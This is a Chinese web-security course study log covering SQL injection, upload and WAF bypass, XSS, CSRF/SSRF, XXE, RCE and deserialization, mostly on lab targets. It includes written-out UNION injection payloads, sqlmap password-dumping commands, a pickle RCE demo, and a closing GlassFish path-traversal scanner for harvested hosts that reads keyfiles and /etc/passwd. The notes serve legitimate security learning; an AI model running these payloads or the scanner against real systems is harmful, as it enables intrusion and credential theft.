web安全学习

Day06--加密解密算法

网站查询:cmd5.com

md5:虽然说md5是不可逆,但是md5的解密实际上是枚举的算法(类似于在库中查找明文进行比对)

web安全学习_第1张图片

时间戳:

web安全学习_第2张图片

url编码:%+0-9或a-z组成的两位数。例如‘ ’的url编码是%20

base64:0-9a-zA-Z组成,经常密文后面有一个或两个’=‘,区分大小写,长度随着明文的长度的增加而增加

web安全学习_第3张图片

Unescape:%开始+u+四位的一个数字,与明文中两位相对应

web安全学习_第4张图片

AES解密:密文中常有 / 解密难度强,更安全,需要密码和偏移量

DES解密:字母数字构成,有时密文会有‘+’或‘/’,长度随着明文的长度的增加而增加

Day08--信息收集(架构,搭建,WAF)

        #站点搭建分析

        目录型站点分析

        端口类站点分析

        子域名两套CMS(同一服务器/不同服务器【同网关/不同网关】)

        类似域名站点

也就是说对于同一网站页面,有不同域名,域名差异可能是前面,也可能是后面

        旁注,C段站点

web安全学习_第5张图片

        搭建软件特征站点

利用网站抓包,server,如果信息比较全,可能是搭建软件

Day09--信息收集()

heian引擎(fofa.info, shodan.io, zoomeye.org)可以对端口或网站信息的进行扫描

Day11--web漏洞

web安全学习_第6张图片

SQL注入:可以获取或修改数据库相关信息(管理员账号密码等)

目录遍历:可以获取目录下面的文件及文件名,都可以访问(对于目录结构,可以用工具扫描或看源码)

文件上传(高危):可以不受文件格式限制上传文件(通过burpsuite),从而获取对方网站权限,进入后门

Day12--Web漏洞(SQL注入)

SQL注入原理:通过对原有sql语句中参数的传递,将恶意sql语句添加到原有sql语句中,实现自定义查询

web安全学习_第7张图片

MYSQL注入

web安全学习_第8张图片

如何判断注入点?

法1(老方法):and 1 = 1正确 and 1 = 2错误,那么有注入点

web安全学习_第9张图片

法2(新方法):在id后随便加入一些字母,页面不正常,那么有注入点

判断注入:

首先order by查询了有几列数据,然后union看下哪几列数据可以显示出来,然后将能显示的替换成注入语句就可以了

web安全学习_第10张图片

web安全学习_第11张图片

ctfhubSQL注入--整数型(报错回显-》数据库名-》表名-》列名-》数据)

1、1 and 1=1

2、1 and 1=2

3、1 order by 2

4、-1 union select 1,2

5、-1 union select 1,database();

6、-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1)

7、-1 union select 1,(select table_name from information_schema.tables where table_schema='sqli' limit 1,1)

8、-1 union select 1,(select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1)

9、-1 union select 1,(select flag from sqli.flag limit 0,1)

Day13 WEB漏洞--SQL注入之MYSQL注入

web安全学习_第12张图片

web安全学习_第13张图片

相关防注入

魔术引号:

对于防止sql注入,对方会采用magic_quotes_gpc来防止sql注入,导致查询不到用户信息

因此我们可以将路径进行编码转义(因为编码转义可以不用单引号,也就不会触发防范机制)

 web安全学习_第14张图片

web安全学习_第15张图片

内置函数:

web安全学习_第16张图片 自定义关键字:

WAF防护软件:

web安全学习_第17张图片

Day15--Web漏洞--SQL注入之Oracle,MongoDB等注入 

json注入(类似于键值对类型)补充

对于json的闭合和不闭合要依据sql语句中变量是数字(不闭合)还是字符(闭合),闭合的是单引号

web安全学习_第18张图片

web安全学习_第19张图片

access数据库:采用暴力解法,它没有像mysql等其他数据库的基本操作,可以盲猜或借助工具,查找字典等

web安全学习_第20张图片

 MongoDB:MongoDB查询是以列表的形式,也就是说键值对的形式,因此注入MongoDB数据库要考虑前面的符号干扰(例如单引号),还有输入格式的差异

删除.tojson后,输出语句发生变化

Day16--SQL注入之查询方式及报错盲注

web安全学习_第21张图片

 web安全学习_第22张图片

web安全学习_第23张图片

mid和substr

 补充Access数据库爆破:

Access偏移注入(解决列名获取不到)

从22减到16,6的含义是一个admin表

web安全学习_第24张图片

web安全学习_第25张图片

Day17--Web漏洞--SQL注入之二次加解密,DNS等注入 

web安全学习_第26张图片

二次注入:一般在登录,update页面,会牵扯到前端用户界面与数据库内容交互,从而注入漏洞,sqlilabs的24关可以实战

web安全学习_第27张图片

dnslog注入:访问dnslog会有记录,将查询结果外带出来

web安全学习_第28张图片

Day18--Web漏洞--SQL注入之堆叠及WAF绕过注入 

堆叠注入:

web安全学习_第29张图片

可以添加一个新用户,正常登录 

web安全学习_第30张图片

WAF绕过

web安全学习_第31张图片

当WAF干扰语句执行,可以通过改变提交方式,特殊符号(加上特殊符号后语句与原有数据库内容不匹配,而特殊符号又不影响语句的执行,从而绕过WAF)

例如图中的改get提交方式为post提交,database()改为database/**/()

web安全学习_第32张图片

web安全学习_第33张图片

Day19--Web漏洞--SQL注入之SQLMAP绕过WAF

绕过安全狗的sqlmap流量防护方法:

伪造搜索引擎

sqlmap延迟注入

Day20--WEB漏洞--文件上传之基础及过滤方式 

web安全学习_第34张图片

docker漏洞启动:docker-compose up -d 漏洞关闭:service docker stop / docker-compose down

Day21--WEB漏洞--文件上传及后端黑名单绕过

web安全学习_第35张图片

文件类型(content-type / MIME信息),可以抓包修改数据包中content-type的格式来绕过验证

web安全学习_第36张图片 

upload-labs

level 2:通过抓包修改文件的MIME值(cotent-type),与文件后缀匹配,从而绕过验证

level 3:运用黑名单,可以利用.php5后缀上传文件,从而绕过验证

web安全学习_第37张图片

level 4:运用.htacess解析,在.htacess文件中,代码内容是将文件名字中含有shana的文件,以php的MIME的格式执行,从而绕过验证

web安全学习_第38张图片

web安全学习_第39张图片

level 5:大小写验证,该文件后缀名大小写,例如Php

level 6:抓包,在文件后缀名后加空格,从而绕过验证,数据包发送到对方系统中,由于命名特性,系统会将文件后缀的空格自动去除,从而绕过验证

level 7(与level 6同理):抓包,在文件后缀名后加‘.’,但系统会自动去除,从而绕过验证

level 8:抓包,在文件后缀名中加 ::$DATA,从而绕过验证

level 9:依据源码,对于文件后缀名点操作是,先去空格,再删除后缀名末尾的一个点,再去空格

所以后缀名php改为php. .

web安全学习_第40张图片

web安全学习_第41张图片

level 10:依据源码可见如果文件后缀名是deny_ext中的,会将后缀名替换为‘ ’,可以抓包将文件后缀名php改为pphphp从而绕过验证

web安全学习_第42张图片

level 11(白名单get提交方式):在文件地址中用%00截断

web安全学习_第43张图片

web安全学习_第44张图片

level 12(白名单post提交方式):在文件地址后用%00截断,由于是post提交方式需要对%00进行

web安全学习_第45张图片

    web安全学习_第46张图片

Day22--WEB漏洞--文件上传之内容逻辑数组绕过

web安全学习_第47张图片

level 12(文件包含漏洞):图片马是图片跟php脚本语言的混合,可以手动在图片中注入php代码,也可以用copy一个

配合文件包含漏洞进行注入php代码

web安全学习_第48张图片

web安全学习_第49张图片

level 17:二次渲染:文件上传到服务器后停顿操作,等待下一操作。代码是先将文件上传到服务器,然后进行判断后缀名和重命名操作,所以可以抓包,然后一直发送数据包,同时用浏览器一直访问文件,直到可以显示文件内容

web安全学习_第50张图片

web安全学习_第51张图片

level 20(数组接受+目录命名):

web安全学习_第52张图片

web安全学习_第53张图片

web安全学习_第54张图片

Day23--WEB安全--文件上传之解析漏洞编辑器安全

web安全学习_第55张图片

apache低版本文件解析漏洞(apache2.X版本):

web安全学习_第56张图片

Nginx解析漏洞:判断是否有Nginx解析漏洞,在网站地址后访问网站图片后写入.php后,如果出现错误,则没有该漏洞

web安全学习_第57张图片

Nginx文件名逻辑漏洞:

web安全学习_第58张图片

web安全学习_第59张图片

web安全学习_第60张图片

Day24--WEB漏洞--文件上传之WAF绕过及安全修复

web安全学习_第61张图片

安全狗检测文件后缀名:

web安全学习_第62张图片

数据溢出(垃圾数据后要加分号';'):在name和filename之前插入垃圾数据,从而绕过safedog检测,成功上传文件

web安全学习_第63张图片

符号变异:safedog检测规则,对于filename,检测“”或者‘’里的内容,如果只有一个“或者一个‘或者在filename=后直接写qq.php也可以成功上传文件,例如filename=’qq.php或者”qq.php,就可以绕过匹配规则,成功上传文件

数据截断:safedog识别x.p\nh\np,从而绕过验证

重复数据:借助垃圾数据概念,多写几个从而绕过safedog验证

web安全学习_第64张图片

借助原有数据包中Content-Disposition和name的正常性,复制在filename中,干扰safedog检测,误认为是正常的数据,从而绕过safedog验证

斜杆/也可以绕过safedog验证,safedog误认为斜杠/里是注释

fuzz字典

Day25--WEB漏洞--XSS跨站之原理分类及攻击手法

web安全学习_第65张图片

web安全学习_第66张图片

web安全学习_第67张图片

web安全学习_第68张图片

Day26--WEB漏洞--XSS跨站之订单及shell箱子反杀记

如何判断文件是否有后门:

如果是脚本文件,在网站上访问脚本文件,看一下数据包的发送情况,是否有其他地址的发送情况。

如果是程序软件,用抓包软件对当前进程进行抓包,或者抓当前网络接口数据包。

web安全学习_第69张图片

跨站漏洞攻击:

Day27--WEB漏洞--XSS跨站之代码及httponly绕过

web安全学习_第70张图片

web安全学习_第71张图片

web安全学习_第72张图片

xsslabs:

level 2:注入,浏览器自动将<>符号转码,从而导致注入失败,由于注入语句在引号里,因此可以采用闭合手段,注入语句前加上">,成功注入

web安全学习_第73张图片

web安全学习_第74张图片

level 3:页面会对<>进行过滤,因此用html中的onlick属性(可执行一段js代码)

web安全学习_第75张图片

web安全学习_第76张图片

level 5:页面过滤on,将on过滤为o_n        ">

level 6:页面过滤更多,因此可以才用大小写混用绕过        ">

web安全学习_第77张图片

level 7:页面不是循环过滤,只过滤一次,所以        ">

web安全学习_第78张图片

level 8:先将所有字符全转为小写,由于replace不是替换为空字符,所以不能采用二次过滤的方法,所以采用编码(html形式)的方式绕过

web安全学习_第79张图片

web安全学习_第80张图片

level 9:判断是否有http://        

javascript:alert(1)//http://

web安全学习_第81张图片

web安全学习_第82张图片

level 10:        &t_sort="type="text"%20οnclick="alert(1)" 

其中的type=text作用是出现搜索框

web安全学习_第83张图片

csrf:跨站请求伪造

web安全学习_第84张图片

Day28--WEB漏洞--XSS跨站WAF绕过及安全修复

web安全学习_第85张图片

xssstrike:

web安全学习_第86张图片

Day29--WEB安全--CSRF及SSRF漏洞案例

CSRF漏洞:抓包截取网站用户信息,靶机创建一个访问主机的文件,并修改抓包中用户的数据如果用户在登录到后台的情况下,同时也访问了靶机的ip的地址,就会触发靶机的脚本文件,从而导致主机用户信息被修改

web安全学习_第87张图片

CSRF漏洞与xss跨站的区别在于CSRF是在外站触发脚本代码,而不是在url地址上触发代码

CSRF防御:

web安全学习_第88张图片

设置token:由于token是随机的,如果token对应不上,注入失败

web安全学习_第89张图片

检验referer来源(不安全,可以抓包修改从而绕过验证):通过抓包检测到referer的ip地址跟host的ip地址不对应,导致注入失败

web安全学习_第90张图片

SSRF漏洞:例如主机下A,B两台内网服务器,由于黑客无法直接访问内网服务器,此时主机存在SSRF漏洞,因此黑客可以借助主机,间接访问到A,B服务器,进而进行注入操作

web安全学习_第91张图片

web安全学习_第92张图片

端口扫描:http协议

web安全学习_第93张图片

file协议:file协议是本地协议,可用于读取本地的文件信息

web安全学习_第94张图片

SSRF漏洞中脚本格式和协议的的支持情况

web安全学习_第95张图片

Day30--WEB安全--RCE代码及命令执行漏洞全解

php代码中eval函数是将数据以php的格式执行

web安全学习_第96张图片

system函数是将数据以windows内部代码执行

web安全学习_第97张图片

poc验证漏洞是否存在,exp利用漏洞

echo加反引号`表示命令执行

web安全学习_第98张图片

菜刀原理:把功能性函数写到程序里,利用代码的收发进行控制,@让php函数在错误的情况下也正常执行

web安全学习_第99张图片

Day31--WEB漏洞--文件操作之文件包含漏洞全解

web安全学习_第100张图片

常见写法:

web安全学习_第101张图片

本地包含:

web安全学习_第102张图片

web安全学习_第103张图片

远程包含:.html是限制文件后缀,在路径后加特殊字符绕过验证

web安全学习_第104张图片

web安全学习_第105张图片

伪协议:

web安全学习_第106张图片

php特有的协议web安全学习_第107张图片

file协议需要完整路径才能正常执行  

web安全学习_第108张图片

php://input:

web安全学习_第109张图片

php://filter:将读取结果解密得flag

web安全学习_第110张图片

Day32--WEB漏洞--文件操作之文件下载读取全解

web安全学习_第111张图片

web安全学习_第112张图片

在文件下载漏洞中,config.inc.php记录了网站数据库登陆密码等相关信息(该文件每一个网站基本都有)

web安全学习_第113张图片

下载漏洞判断依据:参数

RoarCTF2019-文件读取真题复现-比赛(知识点)

java语言常用post提交方式

web安全学习_第114张图片

javaweb常有配置文件WEB-INF/web.xml,该文件记录网站配置信息,文件名,路径等

web安全学习_第115张图片

web安全学习_第116张图片

web安全学习_第117张图片

百度杯2017二月-Zone真题复现-比赛(知识点)

module后跟的是文件名,name后跟文件后缀

login=1或0,1表示true,0表示false

web安全学习_第118张图片

小米路由器远程任意文件下载漏洞

web安全学习_第119张图片

supersoft        

Day33--WEB漏洞--逻辑越权之水平水平垂直越权全解

web安全学习_第120张图片

web安全学习_第121张图片

web安全学习_第122张图片

水平越权访问(实现同级用户之间的跨越):

web安全学习_第123张图片

web安全学习_第124张图片

web安全学习_第125张图片

垂直越权:

web安全学习_第126张图片

web安全学习_第127张图片

Day34--WEB漏洞--逻辑越权之登录脆弱及支付篡改

web安全学习_第128张图片

http跟https的区别:http的密码一般是明文传输,当然也有密文传输,httpss一般是密文传输,对于明文传输,可以采用暴力破解的方式

http:

web安全学习_第129张图片

https:

cookie脆弱:

如果没有源码,就抓取数据包,看数据包是否有cookie,如果cookie看不出相关信息(类似参数等),就没有cookie脆弱漏洞

web安全学习_第130张图片

web安全学习_第131张图片

支F篡改: 

web安全学习_第132张图片

支F接口:抓取数据包,修改支F接口,相当于将RMB F到其他的支F接口

web安全学习_第133张图片

Day35--WEB漏洞--逻辑越权之找回机制及接口安全

web安全学习_第134张图片

web安全学习_第135张图片

Day36--WEB漏洞--逻辑越权之验证码与Token及接口

web安全学习_第136张图片

Day37--WEB漏洞--反序列化之PHP&java全解

web安全学习_第137张图片

web安全学习_第138张图片
web安全学习_第139张图片

php中serialize()函数unserialize()函数:serialize()函数将对象转化成字符串,unserialize()函数是字符串还原成对象

序列化格式字符串

web安全学习_第140张图片

ctf-php反序列化-无类执行

web安全学习_第141张图片

web安全学习_第142张图片 反序列化代码中有class类时,会调用魔术方法

web安全学习_第143张图片

ctf-php反序列化-有类执行(重点在代码的执行顺序)

==是验证数值,===是验证类型和数值

思路:

web安全学习_第144张图片

web安全学习_第145张图片

web安全学习_第146张图片

Day38--WEB漏洞--反序列化之PHP&java全解

java反序列化

web安全学习_第147张图片

web安全学习_第148张图片

web安全学习_第149张图片

web安全学习_第150张图片

web安全学习_第151张图片

Day39--WEB漏洞--XXE&XML之利用检测绕过全解

web安全学习_第152张图片

web安全学习_第153张图片

 各种语言的协议

web安全学习_第154张图片

pikachu靶场--XXE漏洞

web安全学习_第155张图片

web安全学习_第156张图片

dtd文件内写入xml代码,实现绕过和自定义攻击

web安全学习_第157张图片

针对XXE无回显问题

三步:先访问test.txt文件,将其中数据base64编码返回给file变量,再访问test.dtd文件,dtd文件

的内容将变量file赋值给data,进而访问data数据。可以采用日志技术或者写一个x.php文件,将data数据内容导入x.php文件(第三步192.168.0.1:8081/x.php?data=%file;)

最后将所读取到的数据进行base64解码,也就是test.txt的文件数据

access.log日志文件

web安全学习_第158张图片

web安全学习_第159张图片

web安全学习_第160张图片

工具

web安全学习_第161张图片

Day40--java安全--JWT安全及预编译CASE注入等

web安全学习_第162张图片

web安全学习_第163张图片

其中PreparedStatement参数化查询(预编译查询)可以阻止大部分sql注入,因为其数据库操作系统会将sql语句识别成字符串

因为sql语句中存在order by,所以可以使用case when语句从而实现预编译的绕过

web安全学习_第164张图片

判断对方是否有order by:order by在sql语句中作用是排序,因此在对方应用中找是否有排序的相关操作,如果有,就可以断定有order by,否则就没有

JWT(可以理解为一种身份验证)

web安全学习_第165张图片

web安全学习_第166张图片

JWT中header跟claims是base64加密,signature是base64+一个随机密匙

流程

web安全学习_第167张图片

JWT修改伪造攻击 

JWT在线解密网站:JSON Web Tokens - jwt.io

web安全学习_第168张图片

无密钥:将header修改为none也就是表示签名不采用加密,因此将签名留空即可

web安全学习_第169张图片

web安全学习_第170张图片

Day41--JAVA安全--目录遍历访问控制XSS等安全问题

思路:

web安全学习_第171张图片

apk是Android的安装文件,apk大多是java开发

apktool用法:apktool d .apk

代码审计,对白盒源码的分析,从而绕过

web安全学习_第172张图片

Day42--漏洞发现--操作系统之漏洞探针类型利用修复

web安全学习_第173张图片

相关漏洞关键词介绍:CVSS,CVE, EXP,POC

EXP是利用漏洞,POC是验证漏洞

web安全学习_第174张图片

扫描工具:goby(忍者系统),nmap,Nessus

nmap:

AWVS:

web安全学习_第175张图片

Xray:针对扫描app漏洞,需要采用联动,因为app中的地址链接在网站一般访问不到(空白页面)

bp跟Xray联动(也可以跟AWVS联动)

web安全学习_第176张图片

Xray:

web安全学习_第177张图片

AWVS&bp&Xray三联动 

web安全学习_第178张图片

web安全学习_第179张图片

web安全学习_第180张图片

web安全学习_第181张图片

sqlmap:

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://www.xx.com/username/admin*"       #如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --passwords  #查看数据库用户名的密码

 nuclei:

借助官方模板

web安全学习_第182张图片

web安全学习_第183张图片

用自己写的模板

web安全学习_第184张图片


Day43--漏洞发现--WEB应用之漏洞探针类型利用修复

web安全学习_第185张图片

Spring Data Commons远程命令执行漏洞(CVE-2018-1273)漏洞利用

漏洞复现在vulhub靶场

靶场ip及端口号为192.168.64.145:8080

web安全学习_第186张图片

抓当前页面的数据包

web安全学习_第187张图片

修改数据包 

web安全学习_第188张图片

web安全学习_第189张图片

关闭漏洞:docker-compose down
 

Day44--漏洞发现--APP应用之漏洞探针类型利用修复

web安全学习_第190张图片

app跟网站的数据包不一样,有些app的页面在网站上无法访问,需要修改数据包才能正常访问

Day45--漏洞发现--API接口服务值漏洞探针类型利用修复

web安全学习_第191张图片

web安全学习_第192张图片

web安全学习_第193张图片

web安全学习_第194张图片

web安全学习_第195张图片

web安全学习_第196张图片

web安全学习_第197张图片

web安全学习_第198张图片

同一个web,在url地址后+上端口,可能是另一个网站

API接口渗透测试

web安全学习_第199张图片

扫描WEB漏洞:AWVS

api接口渗透测试:API 接口渗透测试 - 先知社区 (aliyun.com)

扫描工具:sqlmap操作

-r是读取文件

--batch是默认选择Y,省略回车操作

web安全学习_第200张图片

web安全学习_第201张图片

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u  "http://127.0.0.1/sqli-labs/Less-1/?id=1"  #探测该url是否存在漏洞
有时候使用 --passwords 不能获取到密码,则可以试下
-D mysql -T user -C host,user,password --dump  当MySQL< 5.7时
-D mysql -T user -C host,user,authentication_string --dump  当MySQL>= 5.7时

常规注入操作

 web安全学习_第202张图片

工具:AWVS

readyapi    soupui        swagger-hack

packerfuzzer:针对webpack打包器(html,js),python PackerFuzzer.py -u 网页地址

web安全学习_第203张图片

判断是否有接口:

1、抓取网络数据包,看js文件是否有swagger

web安全学习_第204张图片

2、目录扫描,是否有相关目录

web安全学习_第205张图片

Day46--WAF绕过--信息收集值反爬虫延时代理池技术

web安全学习_第206张图片

web安全学习_第207张图片

web安全学习_第208张图片

web安全学习_第209张图片

2023小迪

Day23--WEB攻防-python考点_CTF与CMS_SSTI模板注入_PYC反编译 

 web安全学习_第210张图片

Python Flask,Jinja2模板,模板中使用特殊变量及函数,闪现信息,get_flashed_messages()_jinja2 get_flashed-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/houyanhua1/article/details/85470175 

Day29--WEB攻防-通用漏洞_SQL注入_增删改查_盲注_延时_布尔_报错 

web安全学习_第211张图片

web安全学习_第212张图片

延迟注入 

web安全学习_第213张图片

报错注入

web安全学习_第214张图片

xhcms

插入相关操作 

web安全学习_第215张图片

要闭合单引号(插入操作)

web安全学习_第216张图片

更新相关操作 

web安全学习_第217张图片

web安全学习_第218张图片

Day39--WEB攻防-通用漏洞_CSRF_SSRF_协议玩法_内网探针_漏洞利用

web安全学习_第219张图片

web安全学习_第220张图片

CSRF

条件:1、 目标登录后台 2、目标访问伪造地址 3、攻击者成功伪造后台的功能数据包

web安全学习_第221张图片

web安全学习_第222张图片

web安全学习_第223张图片

CSRF可以设置同源策略检测是否为自己发送的或者自己网站产生的数据包,如果不是则判定为非法来源,从而阻止一部分攻击。但是同源策略并不安全,因为来源Referer可以抓包修改

 web安全学习_第224张图片

黑盒如何判定是否有同源策略,登录后台的情况下点击 ’新建文章‘ 访问的地址,在新建窗口直接访问,如果能够访问,那么没有同源策略

web安全学习_第225张图片

 web安全学习_第226张图片

3、看关键操作有无验证(可以理解为验证码) 

SSRF

web安全学习_第227张图片

web安全学习_第228张图片

相当于让自己输入一个ip地址,服务器去访问,可以进行服务器的探针扫描 

web安全学习_第229张图片 web安全学习_第230张图片

 web安全学习_第231张图片

 Day40--WEB攻防-通用漏洞_CSRF_SSRF_代码审计_同源策略_加载函数

web安全学习_第232张图片

Day41--WEB攻防-通用漏洞_XML_XXE_无回显_DTD实体_伪协议_代码审计

web安全学习_第233张图片

 web安全学习_第234张图片
web安全学习_第235张图片

XML参考文章:https://www.cnblogs.com/20175211lyz/p/11413335.html

XML实现文件读取

web安全学习_第236张图片

XML数据包形式

web安全学习_第237张图片

修改数据包实现文件读取

web安全学习_第238张图片

XML实现带外测试(判断漏洞是否存在,可以解决有误回显问题)

web安全学习_第239张图片

dnslog:DNSLog Platform

web安全学习_第240张图片

web安全学习_第241张图片

因此有回显

web安全学习_第242张图片

外部引用和实体

web安全学习_第243张图片

web安全学习_第244张图片

解决无回显数据读取 

web安全学习_第245张图片

web安全学习_第246张图片

get.php

web安全学习_第247张图片

修复方案

web安全学习_第248张图片

Day42--WEB攻防-通用漏洞_文件包含LFI_RFI_伪协议编码算法_代码审计 

web安全学习_第249张图片

web安全学习_第250张图片

web安全学习_第251张图片

伪协议 

web安全学习_第252张图片

data://协议 

web安全学习_第253张图片

web安全学习_第254张图片

远程包含

本地包含和远程包含的区别

远程包含条件 

web安全学习_第255张图片

web安全学习_第256张图片

利用日志文件

 

 抓取网络接口数据包发现中间件是nginx

 web安全学习_第257张图片

 

web安全学习_第258张图片

web安全学习_第259张图片

web安全学习_第260张图片

web安全学习_第261张图片

再次访问/var/log/nginx/access.log日志文件后拿下flag

session文件包含

web安全学习_第262张图片

不同操作系统、网站的session的目录不固定 

web安全学习_第263张图片

session条件竞争(如果访问不及时,一段时间后自动清除) 

web安全学习_第264张图片

convert.iconv 

web安全学习_第265张图片

web安全学习_第266张图片

web安全学习_第267张图片

Day44-WEB攻防-通用漏洞_RCE_代码执行_命令执行_多层面检测利用

 

 web安全学习_第268张图片

使用system命令

web安全学习_第269张图片

拿到flag

shell_exec自身特殊性,需要搭配eval一起使用 -->(eval shell_exec('xxxx'))

web安全学习_第270张图片

web安全学习_第271张图片

反斜杠 ` ,在php代码中(前提),也可以执行出system效果

web安全学习_第272张图片

 参数污染

web安全学习_第273张图片

注意eval,eval() --> 字符串作为PHP代码执行

web安全学习_第274张图片

搭配文件包含,伪协议

web安全学习_第275张图片

web安全学习_第276张图片

web安全学习_第277张图片

web安全学习_第278张图片

web安全学习_第279张图片

Day48--WEB攻防-Py反序列化_链构造_自动审计bandit_魔术方法

web安全学习_第280张图片

web安全学习_第281张图片

web安全学习_第282张图片

反序列化 

web安全学习_第283张图片

# 反序列化安全漏洞产生-DEMO
import os
import pickle

class A(object):
    def __init__(self, func, arg):
        self.func = func
        self.arg = arg
        print("this is A!")
    def __reduce__(self):
        print("反序列化调用")
        return (self.func, self.arg)
a = A(os.system, ('calc',))
p_a = pickle.dumps(a)
pickle.loads(p_a)
print("=========")
print(p_a)

 ctf案例

首先启动靶场5000端口

web安全学习_第284张图片

web安全学习_第285张图片

web安全学习_第286张图片

web安全学习_第287张图片

web安全学习_第288张图片

web安全学习_第289张图片

 CTF-CSISN2019华北-JWT&反序列化

web安全学习_第290张图片

Day51--WEB攻防-通用漏洞_验证码识别_复用_调用_找回密码重定向_状态值

web安全学习_第291张图片

phpyun平台--验证码

web安全学习_第292张图片

验证码回显

web安全学习_第293张图片

res修改

基于对服务器跟浏览器的验证结果判断,修改bp抓取返回数据包,修改返回数据包中结果的判定值,如果对方是基于服务器的验证判断,那么无效,如果对方是基于前端浏览器验证判断,那有效 

web安全学习_第294张图片

web安全学习_第295张图片

验证码爆破

如果验证码没有次数限制(前提),可以在bp中进行爆破

插件smxiazi/NEW_xp_CAPTCHA: xp_CAPTCHA(瞎跑 白嫖版) burp 验证码 识别 burp插件 (github.com)

web安全学习_第296张图片

Day52--WEB攻防-通用漏洞_弱口令安全_社工字典生成_服务协议_Web应用

web安全学习_第297张图片

抓包分析得,数据包中密码是md5加密,所以采用的字典也应加密 

web安全学习_第298张图片

web安全学习_第299张图片

两个变更参数

web安全学习_第300张图片

hrdra(九头蛇)--暴力拆解

服务类:常指中间件,框架,操作系统等 

windows最高用户:administrator

支持的服务协议

web安全学习_第301张图片

web安全学习_第302张图片

passfab.com

danielmiessler/SecLists: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. (github.com)

Day53--WEB攻防-通用漏洞_CRLF注入_URL重定向_资源处理拒绝服务 

web安全学习_第303张图片

 web安全学习_第304张图片

web安全学习_第305张图片

web安全学习_第306张图片

CRLF

配合XSS

web安全学习_第307张图片

CRLFuzz搭配工具判断 

web安全学习_第308张图片

URL重定向

web安全学习_第309张图片

web安全学习_第310张图片

WEB拒绝服务 

web安全学习_第311张图片

web安全学习_第312张图片

Day54--WEB通用漏洞-跨域CORS资源_JSONP回调_域名接管劫持

web安全学习_第313张图片

 web安全学习_第314张图片

COSP跨域资源 

 

在网站接口寻找callback回调,如果回调中有个人的敏感信息,攻击者就搭建一个网站,接收这些信息,如果用户在登录这个网站的情况下访问攻击者所搭建的网站,这时,这个用户的信息就会被窃取

web安全学习_第315张图片

web安全学习_第316张图片

web安全学习_第317张图片

Day55--服务攻防-数据库安全_Redis_Hadoop_MySQL_未授权访问_RCE

web安全学习_第318张图片

web安全学习_第319张图片

mysql--CVE-2012-2122未授权访问(逻辑漏洞) 

web安全学习_第320张图片

循环登录mysql数据库,次数达到上限就登陆成功

hadoop 

web安全学习_第321张图片

Redis默认端口6379 

web安全学习_第322张图片  

 Redis未授权访问

web安全学习_第323张图片

web安全学习_第324张图片

Redis沙箱绕过RCE 

web安全学习_第325张图片

Day56--服务攻防-数据库安全_H2_Elasticsearch_CouchDB_Influxdb复现

web安全学习_第326张图片

Influxdb未授权访问-JWT验证不当

web安全学习_第327张图片

web安全学习_第328张图片

web安全学习_第329张图片

web安全学习_第330张图片

H2database-未授权访问-配置不当

 web安全学习_第331张图片

CouchDB--未授权访问 

web安全学习_第332张图片

web安全学习_第333张图片

web安全学习_第334张图片

成功登录后台 

web安全学习_第335张图片

CouchDB--任意命令执行 

web安全学习_第336张图片

Day59--服务攻防-中间件安全_CVE复现_IIS_Apach_Tomcat_NginxD_

中间件:WEB应用上的一种服务,也称容器或搭建平台

框架:语言所编写的成品的体系

web安全学习_第337张图片

抓包,在数据包中插入php代码,在访问照片的地址后加上/1.php可执行出php效果

web安全学习_第338张图片

先上传1.jpg (注意空格),直接路径是无法访问的,所以抓包修改

web安全学习_第339张图片

web安全学习_第340张图片

web安全学习_第341张图片

Tomcat弱口令

用哥斯拉生成一个jsp码,压缩生成zip文件,将zip文件后缀改为war,上传war文件

web安全学习_第342张图片

web安全学习_第343张图片

Tomcat文件上传(CVE-2017-12615)

web安全学习_第344张图片

web安全学习_第345张图片

web安全学习_第346张图片

直接访问,上传成功,然后用哥斯拉连接即可


Day60--服务攻防-中间件安全_CVE复现_Weblogic_Jenkins_GlassFish

weblogic

web安全学习_第347张图片

JBoss

web安全学习_第348张图片

Jenkins

web安全学习_第349张图片

GlassFish

web安全学习_第350张图片

windows        

web安全学习_第351张图片

linux

web安全学习_第352张图片

脚本,搭配fofaviewer,爬虫搜取可用域名

web安全学习_第353张图片

import requests
import time
def read_pass(url):
    urls = url+'/theme/META-INF/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./domains/domain1/config/admin-keyfile'
    try:
        result = requests.get(urls, verify=False).text
        if 'asadmin' in result:
            print(urls + '-> |ok')
    except Exception as e:
        time.sleep(0.1)

def read_windows(url):
    urls = url+'/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini'
    try:
        result = requests.get(urls, verify=False).status_code
        if result == 200:
            print(urls + '-> |ok')
    except Exception as e:
        time.sleep(0.1)


def read_linux(url):
    urls = url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
    try:
        result = requests.get(urls, verify=False).status_code
        if result == 200:
            print(urls + '-> |ok')
    except Exception as e:
        time.sleep(0.1)

if __name__ == '__main__':
